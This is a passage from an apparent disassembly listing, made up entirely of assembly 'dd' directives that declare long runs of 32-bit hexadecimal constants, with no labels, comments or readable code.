0ED9BC85h, 87145E00h, 94929D3Eh, 6302904h, 90971B9Ah dd 288BF07Bh, 0BACDDD52h, 7A9D75BAh, 0E0B43B27h, 326FE697h dd 8ACFBDC6h, 99DAF3EDh, 10D42C44h, 0B7E029A7h, 0D8D6D0E1h dd 0AB961C34h, 991003D8h, 0EB6A0AC4h, 5BE12C82h, 3A1205DEh dd 34CFD341h, 56E3F224h, 9DF84313h, 700F0D90h, 0C4232308h dd 6A0A7B25h, 0C2EC359h, 0AF62666Ah, 1E4AD5A9h, 466E61EEh dd 5D4F59C4h, 0AE438E8Fh, 0DB956A3Bh, 9A1FAA01h, 9E69CA5Eh dd 0FD71066Ch, 9D523119h, 39D47053h, 703819A2h, 0F29929FCh dd 9AF3DEE5h, 79BDCE55h, 2529FD88h, 3B0D396h, 8BB685F2h dd 0D9B12C5Fh, 7296832Fh, 39880DC2h, 0EA5A537Bh, 293D0936h dd 1515F8Bh, 7B2F4825h, 31F6746Fh, 808E5626h, 14DE56B4h dd 0A47DC99Bh, 1AC4B44Ah, 0BDA5844Ch, 0B39FCF1Eh, 0EA3865C4h dd 0F70A31DEh, 0D1D65555h, 5DEAA2EAh, 0F8ECCA14h, 35CFCBF1h dd 64854165h, 3768F4A9h, 704BCD4Ch, 0A6D051A3h, 5A992BFh dd 4CAC2E21h, 10D5E001h, 0CBD1650h, 64EF6506h, 181E8E07h dd 0FBC609D1h, 4DE7A00Ch, 415F5F14h, 0F04B3F13h, 0EE1F14FDh dd 1A5D9EE2h, 747014D4h, 6D43C784h, 0BE07142Eh, 6395C35Fh dd 28BC57BEh, 6399C180h, 30ADD601h, 5F107DA9h, 0BB766A21h dd 69FEFDF4h, 0B73E5FE0h, 0D1443C4Bh, 6AAF1D95h, 0CEB027FEh dd 42FE87A7h, 0C133D06Fh, 54D69F8Ah, 7F5010C9h, 4CB4DE23h dd 0C06913F1h, 9DF698DCh, 5DC925C8h, 2D1CDC9h, 0F6804EB0h dd 0D537DE33h, 0D78EEB1Dh, 3084129Eh, 8ABFDE92h, 2598C3DEh dd 185363A6h, 68C12918h, 0DA76499Bh, 0A49B4CDFh, 0BD26D7FFh dd 0E9EC1094h, 3F446741h, 17D50327h, 0FF9B79DBh, 2A267ADh dd 0BB66A31h, 0AF112F92h, 0D8352773h, 1BDEF1E5h, 0DEF8B641h dd 0B7C08403h, 91A13B07h, 0D9754BBCh, 0A4244101h, 2BBE3177h dd 9BE00C8Ch, 0D4391E7Bh, 90054BE3h, 0B52EA859h, 49530C05h dd 9DD2DB4h, 0B43A3DD5h, 0E8715E03h, 2187DE98h, 0FD38C019h dd 7183DFD3h, 3510A39Ch, 0BAD7CB7h, 0F7C52357h, 16F843D3h dd 61FF6682h, 3CFAA698h, 73D4A8AFh, 0A23D0D91h, 0F9C47CCDh dd 0B0A90D1Fh, 1088774h, 0F2C3BBB3h, 0F656D84Ah, 76DD0DCEh dd 3B9EB2EEh, 4AE8374h, 4FC2EB09h, 0B475AF9Fh, 0BC2B476h dd 0D9DC571Ah, 67332F3Bh, 3A08A6FAh, 0D44A8045h, 71DA2A2h dd 0B6420876h, 0D0DA815Ah, 0F2FA72F5h, 32134D30h, 879142A1h dd 80A682F8h, 28A334BBh, 0E0A6F006h, 91B2B101h, 6CBC6F0Eh dd 0CF0CBD96h, 69DC11FAh, 0D064E525h, 14ACBF3Eh, 1078225Ah dd 6C295E44h, 0CCE28C1h, 522F5B8Ch, 73B01475h, 66E8AE4Eh dd 3EB41E08h, 77B53C8Ah, 5FE69AEh, 3FDD5F74h, 0CC4C94A5h dd 3160F2AFh, 0AC6C1891h, 68EDD50Dh, 22D886FFh, 9784AD45h dd 0B1C98B2h, 802BB0E4h, 0D2ED650h, 307A70F0h, 14592E44h dd 0D59B8113h, 6C8C4AF9h, 235F3ABFh, 559372A2h, 16DAA876h dd 7767A601h, 64F79965h, 0F2D9EBC9h, 4FF9A1F1h, 8E5C4FC3h dd 68EB2CBDh, 0DC5876FBh, 0D57A38EAh, 6CFA52EFh, 9E4C4FD4h dd 81A95887h, 47E7DFF3h, 0EEAA318Fh, 97E52CF1h, 0ED5E2CADh dd 0AAD19948h, 0BFC34FFAh, 0C54634E6h, 3C1E5717h, 0DE4731A2h dd 35B0675Ah, 7B3698B3h, 85F81439h, 0A592FB61h, 0B7AB316h dd 0FC089E75h, 1F85AE62h dd 8BD38AEh, 1413367Eh, 539A658Ah, 257F1DF6h, 0A2422AFEh dd 0DECCC11Bh, 4C92386Eh, 3F3139E9h, 0BA9FECD9h, 0ED8D36E4h dd 0D4FE56B8h, 0DCF74373h, 69F744D2h, 453230EEh, 46551A5Eh dd 64667E61h, 6B712552h, 99846016h, 70719C96h, 26666C3Bh dd 10B4FE0Ah, 6E230617h, 734AF238h, 616A5805h, 10CFAB11h dd 3F3B4260h, 20E25E9Bh, 8E5120DBh, 584BA898h, 1904C484h dd 9861BBFEh, 891EAB14h, 0DF5BD2C5h, 0A5F151B5h, 2CF98D74h dd 0EE50A0D3h, 7FCC44EDh, 84EFC42Fh, 428C8D0h, 9C764434h dd 0E54F6115h, 0D4FBF3EEh, 908C248Bh, 7AE8546Eh, 0CAF78F06h dd 81987BA7h, 62A931D7h, 1178B080h, 0DF63576Ah, 0C779CF1Ch dd 3EF39679h, 2512DB95h, 0E0C4C152h, 6E6357A4h, 147FEB0Bh dd 424FC129h, 0B575F244h, 334D83BEh, 0A8F0FBB8h, 0DC1D42E1h dd 2642BD93h, 0CF1ECA80h, 62131970h, 16EB429Dh, 15F4904h dd 7A8E18A1h, 27CD1BF2h, 0DDA7C163h, 50CD33ADh, 5537FFC2h dd 0E3502DB2h, 28B47BCCh, 0AB87B49Fh, 0FBDD680Dh, 0F4608BBFh dd 37C6A90Eh, 30560550h, 4D931F31h, 99C1FEBFh, 0E6EBD30Fh dd 4B6FE4C5h, 214A52BCh, 0A9AA2E59h, 2D69103Eh, 642F6053h dd 0F71D0687h, 4BF1A1FFh, 7C2F05BBh, 1AF32FF6h, 2FDC354Ah dd 7B6A5A38h, 0CFA8843h, 24322EFAh, 95F115C0h, 94853B92h dd 2AD62E3h, 79057B28h, 0FDAFB6DFh, 0C64F54Ch, 0E36A2D18h dd 972AEC15h, 61DDE5C9h, 8D2F1A87h, 7246C12Ah, 8927D455h dd 91F58684h, 0EB0A7085h, 29A37C9Ah, 1925B20Bh, 1A734FA4h dd 94E47D0Eh, 0E9E5DAD2h, 844F6F7Eh, 0AC1F57CDh, 9F108785h dd 0F4BD606Bh, 7F1D3812h, 0FA8D4C6Fh, 395F9654h, 4EBEBAD8h dd 99B5F65h, 0A9614143h, 0ED7AB631h, 0C9E174E6h, 6CC83394h dd 0A0EE6A6Bh, 40746E15h, 46DE714Ch, 0CD43C729h, 0A271FEE2h dd 3C763A0Eh, 66EB6E3Ch, 0AB0BD8DCh, 5C18340Ch, 0D545409Bh dd 9E36690Bh, 80B810C6h, 3F673F85h, 71D9E945h, 0B8476F6Dh dd 2E563ADEh, 0DCB927F0h, 447B3DA4h, 8C724089h, 0D30B0819h dd 0C79D06B5h, 1D4F0129h, 9B8732DDh, 3A83C3AAh, 0E4848DB8h dd 0DA1BF2BDh, 0B3D21E08h, 93B90765h, 81645B6Ch, 68A3E70h dd 68FDD22Ch, 6BBBBCB2h, 9FAB0BD8h, 4C41C4F0h, 600AF4C8h dd 31696DC9h, 29E6ED33h, 54E1A701h, 7442B827h, 535D354Bh dd 0E70CA8F1h, 0C64E3014h, 0C0FCDA54h, 158838CDh, 8284BE97h dd 94E3013Fh, 7B5A1AEDh, 8824CDFEh, 0A8525FC9h, 0D18B322Dh dd 65A156CBh, 69E423C5h, 4E9171FEh, 0D430B73Ah, 4813E554h dd 296B20Eh, 0ECB9B8CEh, 0CEBF7BE2h, 6ACBB7CDh, 4D1237D7h dd 2A497CD0h, 5A0FAA13h, 0C7E5AC74h, 7A653F48h, 0FA524324h dd 3763E20Bh, 78F64DD7h, 5B164B9Ah, 45084757h, 25785EAFh dd 3247D7AFh, 77B28128h, 0B030EE9Bh, 4BC72AEAh, 0EEDB2154h dd 9FCCC939h, 64C2A6FFh, 2AF61C05h, 40ADE0D8h, 8F58B86Fh dd 626B3D22h, 0AF6B1FEEh, 2AEB2C0h, 5324E10Eh, 6E3BC1CEh dd 5AE86E9Ch, 0BDF92AA9h, 0F9DF23A6h, 7E796AC9h, 0BF8AA6B8h dd 54941C77h, 3EE69099h, 45ECA63Ch, 0E460C917h, 7BAC295Fh dd 3387F749h, 90F71547h, 11DF57A1h, 8FD49C6Eh, 228D8017h dd 0EEB831DFh, 8F6CEB91h, 5F2C8149h, 3E93C3B1h, 9511A9F6h dd 0E8E832B1h, 0F521A8Ah, 6737EFAEh, 446D33C1h, 65945AB7h dd 0E98C5250h, 0AE4AECEAh, 674130EDh, 0EF123267h, 17DA40Ch dd 0B8A309A1h, 598EF04Fh, 491B5C42h, 4F5EB6E0h, 0AA7BB222h dd 80C7B9BCh, 0FC1D5930h, 6803A73Ch, 65DEBBEFh, 153E4F57h dd 342148F4h, 920BB14Dh, 0ECD9D11Ch, 0B09C3D97h, 59C0CE69h dd 0F40378DDh, 4E27D54Dh, 0EF364B7Dh, 57D3C550h, 0DD4C0233h dd 655B7F5Eh, 991890FDh, 6DD40655h, 1614C4Dh, 0E2DADEEFh dd 0E7F51212h, 5A4033CBh, 0DA096AEAh, 0A097E0BDh, 5E651A48h dd 0BCC9E676h, 3D694774h, 0F1B96C1Eh, 0C52DFC74h, 857D1D8Ah dd 76FA6660h, 1C02C686h, 2CFBB019h, 5C5BC299h, 79DACCDEh dd 6ACDF6EDh, 95899655h, 2515BA7h, 477BA3A7h, 0D094DED5h dd 0CCF11DA3h, 2ABFF24Fh, 5722052Ah, 0DC590182h, 0B3554E36h dd 0AF7154A3h, 30CDD217h, 79DFB73h, 0F5C4B37h, 0D312314Fh dd 9290BBFDh, 0E88B5270h, 3E4F302Ah, 84BA3F9h, 1FFB24C7h dd 0D6AA4318h, 8846BBC9h, 152295C2h, 0C5A0A63Eh, 8D7C83E2h dd 0A8602BCAh, 0CFC5727Dh, 0F8DD3D2Fh, 919D3137h, 0C1429B33h dd 0D3CE9752h, 98B0F372h, 0A73B192Bh, 5C5AF2B9h, 2C63DEB8h dd 90712771h, 0B036A3F1h, 7C6F7B6Bh, 0B123230h, 2F7794C0h dd 0D0888199h, 1DC260Ch, 3ECBF35Ch, 0E49852F8h, 39B47D1h dd 53D584C4h, 0D86F6C58h, 7484FEE6h, 0E2169B9h, 0D3AEA7BAh dd 0F1D3D8BEh, 0A3722A1Eh, 0CED225B9h, 0D7CB252Dh, 728EF455h dd 0F8BFC909h, 8250B731h, 3427F1D1h, 98BC4D18h, 845191A9h dd 42E90E99h, 8107BAAEh, 0B84E0268h, 0A5535347h, 1F833D9Fh dd 0E926ABAFh, 0D3FF2BDDh, 95876ADFh, 72964240h, 5FAB5F0Bh dd 1707D17Fh, 5798FD2Bh, 0B925A3ACh, 0EF15DF65h, 33C237A1h dd 9E153C48h, 74C4E745h, 0B63EA21Ah, 0F10D106Ah, 29DAC154h dd 0E8C9F328h, 359A6F9Ah, 24FE99F9h, 0BF35D15Eh, 87D76252h dd 0C709FEA3h, 0CE3FE672h, 525869C6h, 103AC72Eh, 0B5D309CBh dd 3032C5CAh, 0BE70AE92h, 0C34613C6h, 4558470Ch, 427582C8h dd 0E50CB27h, 63C915D8h, 0CF93BD70h, 0A4BB5954h, 0A134C582h dd 82CF8C75h, 8648BB13h, 0FAAB3A06h, 80C65004h, 0ED09E5FFh dd 1DB69292h, 17FB6EBDh, 0C9FA0EEAh, 0E9EB8C1Ch, 55E26A54h dd 8F573FA0h, 9DE2B702h, 2093C6FBh, 7DA1D055h, 0BE3B93B0h dd 0E81C817Dh, 697E6921h, 0D09358A4h, 49A870DDh, 53F28166h dd 201CE51Ah, 5C0AB116h, 8BEF83A6h, 929AEB47h, 0EB4D3569h dd 3ED3FD06h, 0EA449413h, 2C2E4598h, 0B36599A4h, 0EB10832Dh dd 0D32FF4C8h, 0D9BD805Ah, 0FBC7CC79h, 6837BF35h, 5C5FB01Dh dd 4A18D201h, 8A41546Ch, 754791B8h, 0FF35EED0h, 0D6F66AE5h dd 0B3A003ABh, 0E60BA623h, 0FC0C6020h, 33F03944h, 0B6945BCBh dd 0F3A77CD5h, 0E0559E40h, 6D458120h, 76CEEF72h, 0EA342160h dd 705053EEh, 8D305593h, 9889E96Eh, 6FFAF5FDh, 0ECF42CB9h dd 48A9D23Dh, 65B38181h, 85E8E730h, 0E1F4A83Ch, 1D983133h dd 0DD6FCA79h, 4113A229h, 0E0EE2D7Fh, 243DBE9h, 0C1D01D88h dd 0D34BB8FAh, 0DED95DB9h, 804B77E8h, 0B928787Ah, 0AB60B69Bh dd 33221E7Dh, 341D07BBh, 0FF91C49Ch, 0AF6677A8h, 8CAD07FBh dd 0C394B697h, 4F66BD2Fh, 0AD4AA364h, 0C44AD2C9h, 58D60E27h dd 579E514Fh, 87CD9BCCh, 0DF9DEE99h, 0CF2D2777h, 234798C5h dd 328FD662h, 0CAED4851h, 718B1DD6h, 7E03D239h, 0A00E49B2h dd 37588F5Ch, 0E8A89247h, 3F30DEAFh, 975357CAh, 0F4C40733h dd 105C478Fh, 9242F7EBh, 8556ED69h, 4AC6AB58h, 70AA59BCh dd 3938E90Ch, 0ECDF0589h, 0C646DC43h, 42F9A192h, 0E4F5B3DAh dd 5151203Dh, 7F95DEAAh, 77E78C40h, 49BF1111h, 0A0DB2384h dd 73CCC9EAh, 0FF35C8BDh, 6047DE2Ah, 775BCB56h, 9A8F7142h dd 0E73FD7B8h, 9CCB61E6h, 9E6AD4D6h, 0AF0BD04Eh, 9EB85C6Ah dd 0AB963FADh, 817982ECh, 0AD6CC3E8h, 0E4ADA6E9h, 0CF586C47h dd 816AFAD2h, 3F9D5998h, 599E4805h, 347A3A8Ah, 3AAA6791h dd 0A710C3C3h, 749C9110h dd 45804B52h, 0BF0A5721h, 4C8A9FCh, 0AD4DC2C1h, 0CF1263D7h dd 247CD21Bh, 0A7F470D1h, 0EC894506h, 1E1EAF32h, 2424CA0Ah dd 60E0580Bh, 97866228h, 567C05FEh, 0E7CF2EFBh, 447957EFh dd 777C372Ch, 0CDA21581h, 57453D61h, 32A459F5h, 53F16926h dd 0C78BFD6Ah, 7A4DB55Ch, 552CE658h, 0B4F7031Fh, 8194BED0h dd 95DC1F2Fh, 22FA7C5Ah, 16B76F65h, 1728F2B2h, 0F9A91F9Dh dd 501AA6B4h, 0A04B763h, 0A94A71F4h, 0FAA46411h, 5A6AB40Ah dd 35C48762h, 8E31D677h, 67773CF5h, 0D33426C4h, 0A2E62C92h dd 11136246h, 1FED814Ch, 0BDFC0E3h, 0BEF48470h, 4FD725CFh dd 101ED122h, 0E637BDBAh, 3F58EC3Bh, 98722C0Eh, 0F8271493h dd 0A9790489h, 4679CBD8h, 3CB3BC56h, 0E0B7C6E4h, 0EDA9A02Bh dd 0EE71A52Ch, 94418C4Eh, 87054D03h, 0C3A93272h, 0A4A35AEEh dd 0A229C572h, 0CA07B4Bh, 0B043C05Bh, 56038F5Eh, 0A8C482CAh dd 828E9E23h, 0E0B6754Fh, 63F7915Bh, 0C2189FA4h, 0EC709AFEh dd 6BF4A2B1h, 0B4EE8435h, 649A34ECh, 0A8DA804Ah, 0FFB5819Ah dd 0EB319CF7h, 0B3AACF40h, 3BE70FE3h, 0E5305C2Ch, 0D8F5BC98h dd 273DF7FDh, 10A91C41h, 40C6DE0h, 7B13E965h, 0AE67A8FDh dd 0D86F5138h, 135E708Dh, 1E5F13C7h, 2DC6F001h, 9257CACEh dd 18B1AB64h, 0FA1714FDh, 39B97223h, 0C23DB4D3h, 0DFFD358Eh dd 0B5D6DAA0h, 47078E5Ch, 1F895BA7h, 70A45694h, 0A680EE36h dd 0C10F1EA5h, 0A8DB8CD6h, 0BC93D4E8h, 9FE3664h, 0D97C436Bh dd 580B6F49h, 0E21F06A9h, 0F56EE5FAh, 8E8165E2h, 1F535232h dd 32AC5819h, 83186907h, 0A985713Ah, 0C13B2A5Fh, 8DDF7724h dd 0F26B320Dh, 52E0FEAFh, 528BD099h, 9E535038h, 13FEA156h dd 0CFD1B4FEh, 0E54606ABh, 0C5825C01h, 872C8DB1h, 7026449Dh dd 0CB397C8Dh, 0EC442847h, 3DBEF5BAh, 0AC15764Ah, 97D20CF7h dd 0BCF55FA5h, 1DEB0B0Dh, 36C8AD59h, 1D6DE9B1h, 0E20EE10h dd 52AC23F9h, 80224212h, 552D92Ch, 40FC8C6h, 2DBCCF0Ch dd 8060A705h, 0FF745817h, 58601704h, 874C427Dh, 0A88A9055h dd 0E16F9D24h, 93E0535Fh, 6FA52663h, 354FC4DBh, 73AD7698h dd 0C489C712h, 4AC69F4Dh, 0D04387C5h, 5809786Bh, 0AA2B431Eh dd 1F027F99h, 0F835264Ch, 3D878D84h, 0B588E942h, 1D845853h dd 98D64A7Ch, 9766AF66h, 406BC994h, 10E5652h, 0DD1E5AADh dd 0A47E0B6Ah, 0CD83C984h, 537C03ACh, 1730FF16h, 7B45B951h dd 505671A5h, 1DF8D5B4h, 2A5417EEh, 8BC52DDEh, 0EB2E711Fh dd 840A4519h, 1585EE7Bh, 7022E39Fh, 6742F1FDh, 0AD9B672Ch dd 0A0019C82h, 0F1798347h, 2E97120Eh, 779132ABh, 3AE8305Fh dd 0A105FECDh, 0C1128A3Dh, 14F26580h, 0F7DCBCF2h, 987D93CAh dd 6D63909Ch, 336060CEh, 0CFBFC5E3h, 804158B2h, 7E49D88Eh dd 0EA05359Ch, 530E7A3Eh, 516F6E4h, 2B2AC67Bh, 77D66A7Ch dd 0BA3C1904h, 7912F29Fh, 0EA09D824h, 538C1E31h, 8F0BA20Dh dd 41C92C37h, 4F8ED420h, 4FF7FE87h, 36233D6Dh, 77D89400h dd 9245BA1Fh, 8DF4D07Ah, 1D663C5h, 580D7652h, 0B13560D2h dd 9F429E53h, 57D56B81h, 0E33E68EAh, 49B7690Dh, 0F289BA12h dd 44BCC969h, 4F4EF64Ah, 0D3BDFCA9h, 56BEE947h, 21DDFC71h dd 7F627D95h, 0B1A06B15h, 79BE7B48h, 0C9D2A9Eh, 93541430h dd 510A3BFh, 0F18EB540h, 48E2294Bh, 6E9C5A65h, 0CEC47D37h dd 914AFED3h, 999CA9C9h, 0F44447E0h, 15E72121h, 1DBE9C65h dd 4C1C3D73h, 0F08D2CBh, 89C934F5h, 0EB2E89E5h, 0AAC2D101h dd 0D2CFE621h, 0C1FEAA93h, 540C31BEh, 79809A80h, 63D41E6Ch dd 49E835BEh, 4B98D728h, 8976EE72h, 98DE6625h, 0C5364253h dd 42460B51h, 0B245FF69h, 0F8C66110h, 0B4C1A248h, 81C50C0Ah dd 5397C570h, 0A614DFA1h, 5CF924DEh, 7EABE3F2h, 71E2244h dd 63025B0Ch, 0FBF65E2Fh, 0AD8152FBh, 55B5B468h, 9B506E8h dd 8DA7CC1Eh, 8F39FB20h, 0A3A2EED5h, 0D03116D1h, 48989D05h dd 0B2DACABh, 133A2AF4h, 4932A5h, 90E3C8FAh, 0E3A3491Fh dd 0A46FBF1Eh, 81CEDF21h, 7CEE78A6h, 1033A07Ch, 9928BA95h dd 9303DF41h, 3C16E901h, 0C25CF848h, 0F1F60132h, 5ADA74AFh dd 324DB37Fh, 5F8E084Ch, 0DB5CC826h, 3BF39224h, 4262AFA3h dd 0F52F41BFh, 0B0385C6Bh, 0BBF8A151h, 0E9BDFEBh, 6DD58FBh dd 0A4F2BEABh, 0B818F8BDh, 769B4CEh, 0CF4F24FDh, 0FCCA5CC8h dd 0B418C056h, 81419F3Ah, 0A45102D0h, 5623008Ch, 13ACC894h dd 0B85AFEE7h, 0C68D76D3h, 0CE3877D7h, 9CAAB2C4h, 0DAEBCA60h dd 9ACF8442h, 0F67F0955h, 3706C5CCh, 0F5297EF7h, 67C5B4E4h dd 2C91BEBAh, 0FE6C4E0Fh, 0C21ECD95h, 4F43451Bh, 0F7095A53h dd 0B576836h, 81DEAF20h, 0E7AD5C7Ch, 0A34341CDh, 5A89FF60h dd 44922EE3h, 814B56A6h, 0C40C641Fh, 21AA5271h, 5E7B6D88h dd 0BA93E8DCh, 512CF1B0h, 58ACF23Eh, 7A8CC7A7h, 69E079A3h dd 0C0241A1Ah, 2919D8EEh, 0DD0C2460h, 0C82464C2h, 2D29B3BCh dd 2C2EB9E4h, 0A7C1A3BDh, 8B4E4782h, 0CCC5117h, 0AAB03C93h dd 0F6D8D38Ch, 0D7F17100h, 27F1BEBEh, 8388A47Fh, 0AEAC8DF8h dd 526A6A4Dh, 0A35885CCh, 217AC8E5h, 4478FBBEh, 2D513DF9h dd 5500012Fh, 4A5A38FEh, 5CEE39Bh, 9DE2CBB0h, 0F72643BCh dd 3DF96DA0h, 0E5C3FFE0h, 5CB1E1E6h, 37E64EC1h, 0EB1B727Ch dd 0C330E675h, 0BD2321DFh, 6486E57Ch, 5166D008h, 47561C58h dd 9BF7ED5Ah, 7BC29093h, 0A7D0706Dh, 66720A4Dh, 798AAEDAh dd 1D416EBFh, 1479D02Ah, 68B4B9E2h, 0FD8D782Bh, 1750C6FEh dd 84EE5657h, 82256AD9h, 0B9D2D0CCh, 642AE605h, 1B5489EDh dd 4F6A0C45h, 0F616FF96h, 201FD58h, 7F04E7A1h, 0A1CD5D1Bh dd 71DF5651h, 914ED3D3h, 0F890A9B0h, 0EE152BF3h, 437A06CFh dd 9E1555Fh, 929BA627h, 3148DEB0h, 0F29C9ABFh, 27D009C4h dd 0A74E1DAAh, 2DF602ACh, 0F7B244DDh, 4B9521E7h, 0E48E4BAEh dd 0C86F3E46h, 9D8450BFh, 0E6E14577h, 1BB56CF7h, 0A0B89CC4h dd 0FA1DF04Ch, 280302BCh, 0A7ABA835h, 786D40BAh, 2B334C45h dd 35C8FBC6h, 0FEDD4119h, 65B85523h, 0BAA88CE2h, 0D118A706h dd 7F982330h, 0D662D797h, 0A6F89946h, 0C72D1A34h, 4780C4C9h dd 8BAB9083h, 7A87E151h, 925D1C63h, 0C075098Dh, 0E1370DD7h dd 69DD6C72h, 0D24D1C8Ch, 859BC6EEh, 4EB5F1Dh, 0BEB5D8CAh dd 3C0AFC78h, 0C88C807Ch, 60BA738Eh, 59A46CD5h, 806C0FAh dd 65F62AC3h, 164D88D3h, 35FC7DF3h, 0F98C0A77h, 4735343Ch dd 8FB69324h, 0E6279EA0h, 442BA94Dh, 4984E735h, 0CBAC2CB1h dd 73818B29h, 0C1157BB5h, 2A58683h, 0D4B90F87h, 0C68398C5h dd 182C994Eh, 3F0DA0B7h, 39B43491h, 91F2555Eh, 319701Ah dd 4BFBA746h, 0E933CFAFh, 55B12210h, 3A3878C4h, 321D9E92h dd 42459DEDh, 2FEB9A0Bh, 1CCADB60h, 2BC8D98Dh, 4B580606h dd 39CF2173h, 8C7D9EA3h, 52ACE3C9h, 29E3FBB3h, 0F2EE524Ah dd 0EC528A0Ch, 0F65CE16Ch, 8BFA1AE7h, 69A276D9h, 77866EE6h dd 2269234Ch, 80221175h, 76499348h, 7FA7ED92h, 58441B88h dd 0E372A2Eh, 0B5BCE930h, 1E29E006h, 7922737h, 0A3677F82h dd 52182D12h, 0E0AB4674h, 0ECC6D07h, 42B647B4h, 0F1143C46h dd 85147FEEh, 0FCD1EA92h, 7F960659h, 0C9E12F6Fh, 0A96386FEh dd 4316B877h, 7AD19181h, 55C7C2BEh, 0BCE4BD04h, 3D24C316h dd 99D8E0CFh, 55895172h dd 590EEBB5h, 0B5787C70h, 22A118A7h, 879718C3h, 740B58FDh dd 7CE5AEF8h, 2E362BABh, 34A501CCh, 0A3DDA025h, 6A0F374Ah dd 4C20728Ch, 86877BEDh, 843C4CF7h, 0CC43436Ch, 3143F32Dh dd 35ECE7E1h, 2F43156h, 127EEC5Eh, 9147B591h, 0C8B9A675h dd 2B7EB383h, 81386D9Ah, 0D68D794Eh, 31753D55h, 5A004947h dd 5645580Ah, 85D7183Ah, 0EC86A35Bh, 60467E4Ah, 0D8AA0C44h dd 0C445989Bh, 64089289h, 2E017FDBh, 7D1CA1A7h, 6A119081h dd 1B482C81h, 4A6EF151h, 56F9A8A6h, 7EDF961h, 0A67964B6h dd 87772437h, 0BDAFBE1Bh, 2286A0E7h, 58F876B2h, 0A33D3804h dd 0A8059E41h, 313C3720h, 0C8061A10h, 637F0B54h, 0FCB49812h dd 14AD9BFFh, 0E4BC5F70h, 55914A16h, 695E5E38h, 6757925Ch dd 0E48944F5h, 5B13B30h, 9EBFEE68h, 431AE0C4h, 0F286E316h dd 50B4A9FEh, 9C0F9EB1h, 0C1D64192h, 21AC8094h, 0F3E6938Bh dd 0A7C24C7Fh, 0F9129D88h, 769A66CCh, 0AFF6A0DAh, 0A25A47F9h dd 8DE8FB45h, 0AF5A1A94h, 455305C1h, 9E8F66A9h, 0E3F24CB4h dd 9448BF18h, 0A7DE8397h, 0F83223E7h, 9A246269h, 4707B99Ch dd 36AFB04Bh, 0D387DA3Bh, 8AB46A3Dh, 39C79147h, 5CA118F5h dd 1486745Eh, 3E982D59h, 0F2C1FB82h, 0EC85EDCFh, 118EEF5Ch dd 0DA2BAC51h, 0ED2CC699h, 98151F22h, 51306A7Ah, 516589A1h dd 0A4D483DCh, 4B43985Fh, 44F550A2h, 3E39B565h, 846F8A1Dh dd 20FE7888h, 0BA99F639h, 445E29D2h, 9363BDF8h, 0EC3481DDh dd 743098F1h, 0A0AFE380h, 1ECAE56Bh, 17397696h, 0D09ED11Eh dd 0CB71F078h, 7DD4E269h, 362EA862h, 257B8424h, 5439C873h dd 0A74A96BCh, 0A5B93562h, 8F7DE542h, 451A279Bh, 0DFA5CBh dd 5A38E856h, 9A69AA95h, 35EAF493h, 63D7E7C1h, 84A20DC6h dd 2EB11131h, 0E4F9F6AAh, 4CC7C0AFh, 6E6C38B6h, 7647A901h dd 50BF4126h, 0CE092280h, 0C455C64h, 4537A28Eh, 0B71BB077h dd 0B14278Eh, 2C074D35h, 42CB68ACh, 0EBA59810h, 0E785E3F8h dd 892F12C3h, 1C4F5CC0h, 81FC92B7h, 6D79D022h, 977B4FC7h dd 3D28619Eh, 6C2760F1h, 750FB9C3h, 88977B21h, 7383E5BCh dd 42F3E930h, 7C1F85EDh, 0F1194C1Eh, 0C0603A80h, 0FD3AEE3Eh dd 8ADB9035h, 0B4CAC155h, 0F3722DC3h, 0FCFD196Bh, 0F6E2855Fh dd 2D40387Ah, 0C13DC6F2h, 0A415FFEEh, 8A319F0Ch, 199EC780h dd 9EEF2B35h, 7C89A0Dh, 51FC6D1Ah, 0ADD4C217h, 0FCF2077Fh dd 0BF4755CCh, 0F3C36DA9h, 377A2175h, 4CB5DC44h, 0CFB0F114h dd 31B12B4Dh, 635A2C63h, 0AB4708EEh, 9DF34081h, 0BBC18BA7h dd 0E9CEE81Dh, 682243A6h, 0F84270CAh, 7AE1C98Ch, 5AF5B1F6h dd 621B0Ch, 1D8B8FFBh, 9A98987Ch, 1BDC8211h, 0E51A0AF4h dd 0A64A7407h, 8FF357C7h, 4FF387FAh, 0FED6FAA4h, 77DC54AEh dd 0B31D61F9h, 1653FDB2h, 4FA767CFh, 0E6C413D3h, 0BC9E2AD3h dd 7A4C134Eh, 0DA96A21h, 979210ECh, 0C7AEF027h, 0A7BFD5AAh dd 0FC27869h, 1561143Eh, 2104FD10h, 0A83C4736h, 8D601EDBh dd 0FA6BC318h, 638D4E9h, 5D6A1202h, 4E06C443h, 0BDAE1284h dd 0FBDB202Ah, 5CC9B666h, 4E67A785h, 0F85F7002h, 0B1A61F40h dd 28AACFBCh, 22C5AB37h, 0B65B33CEh, 0FAE4A978h, 2D5CB367h dd 3DE4512h, 0DF9CBEFDh, 6F1E0145h, 75620F12h, 0ECF3EDE1h dd 0CFDEF5CBh, 62EBDAA9h, 0C7672BD8h, 413CDBEFh, 9BEDCEB2h dd 0E25A574Bh, 84068623h, 954802C6h, 0DF3A1328h, 0A41B7D5Bh dd 3FD3B04Ch, 0BFC4DFF8h, 0D1AB7B10h, 8134383Ch, 37561BB3h dd 93FA5291h, 2D945195h, 6371F801h, 0C6CB7BDFh, 0A32F1B22h dd 0E875B63h, 778BAEEDh, 7E97AD5Ah, 636CE6DBh, 38EEE77h dd 2FC9CEE6h, 0AB2143D6h, 2E16AE0Fh, 0BDE9DDF6h, 179B885Bh dd 32E0F792h, 77ABFD2Eh, 0E12391D3h, 7F024121h, 0C9D9A64Bh dd 8FAB4A2Fh, 2056D65Fh, 551A1205h, 0DC16458Bh, 1202E209h dd 0CF043E03h, 0D19DAB26h, 11E35898h, 2171E269h, 3FE757E1h dd 0B31C517h, 3132818Ch, 0CA9623E5h, 0EC0C19E8h, 8195CFFBh dd 0B36E083Bh, 0B8BF698Ch, 0B67E7EDDh, 8E17505h, 20177A9Eh dd 0A0325588h, 985E8AE4h, 0F2FE9D7Ah, 0AAB97267h, 0BEABD3C6h dd 0F0C4C5B7h, 0A37547F1h, 0FFFDD04Ch, 0B6EAD674h, 82241C90h dd 62492D0Dh, 83F805ACh, 656FB4F4h, 2E2111C3h, 516FACBBh dd 0EDF93341h, 0C1011CE7h, 0E815DD70h, 3CD551C0h, 0C38B7649h dd 2747EF44h, 0CE644E6Ch, 61E69B2h, 4A2563B8h, 1615EE0Ch dd 77237FB2h, 0A9121E2Eh, 6731692Bh, 0E74441EBh, 6070D16Fh dd 0AF3B8E27h, 0CCA72009h, 0FC968811h, 853B882Ch, 0DC775B5h dd 655CD0FEh, 795F9D00h, 209D56C2h, 9C08B141h, 0D34835D4h dd 1E68C407h, 1BB94C42h, 48048C04h, 47F26700h, 4C78183Bh dd 0B818AC64h, 